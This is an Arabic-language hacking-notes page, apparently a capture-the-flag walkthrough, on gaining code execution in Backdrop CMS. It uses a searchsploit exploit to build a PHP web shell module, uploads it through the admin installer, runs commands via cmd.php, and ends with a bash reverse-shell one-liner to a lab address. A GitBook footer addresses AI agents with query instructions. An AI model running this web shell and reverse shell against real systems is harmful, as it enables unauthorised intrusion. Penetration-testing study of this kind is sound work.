> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/backdrop-cms-exploitation.md).

# Backdrop

## **استغلال تنفيذ التعليمات البرمجية عن بُعد في Backdrop CMS**

استخدم بيانات الاعتماد المكتشفة لتسجيل الدخول إلى نظام إدارة المحتوى.

<figure><img src="/files/c5745293e798fd9b6ce8817aacc3d95014c10a5c" alt=""><figcaption></figcaption></figure>

**البحث عن الثغرات**

استخدم **searchsploit** لتحديد ثغرة تنفيذ تعليمات برمجية عن بُعد:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/2fbcea31b94599bdb48f1c5f8d6dd5439cf12f4d" alt=""><figcaption></figcaption></figure>

نقوم بتشغيل الاستغلال:

```bash
python3 52021.py http://10.10.11.58
```

هذا يُنشئ ملف ZIP يحتوي على صدفة PHP.

<figure><img src="/files/5e0e3d6eb0f38259f3fa9ec52b23eeccbf1dd49b" alt=""><figcaption></figcaption></figure>

اضغط الشل على شكل **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/3f2bb83b047c003b45dafb79ec0527b7662b9d37" alt=""><figcaption></figcaption></figure>

ارفعه عبر **admin / installer / manual**.

<figure><img src="/files/f761ea3e9dcffc5c2a1a7a145df273784573a0e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7bc64b5faa2e9c398dfcc4335aabec4bd7695e98" alt=""><figcaption></figcaption></figure>

**تنفيذ الأوامر**

الـ **modules/cmd/** يحتوي المجلد على **cmd.php**.

<figure><img src="/files/de5bef07051c31cd74083fa99f53ddc49556d564" alt=""><figcaption></figcaption></figure>

هذا يسمح بتنفيذ الأوامر:

```bash
ifconfig 
```

<figure><img src="/files/7ac85a881943e933e3f6219282317f0974df40d3" alt=""><figcaption></figcaption></figure>

### **صدفة عكسية لـ Backdrop CMS**

افتح مستمعًا على المنفذ 443:

```bash
nc -nlvp 443 
```

حقن حمولة:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/5c4872f6eee78bd4f736c234bc3927f7810bc70e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
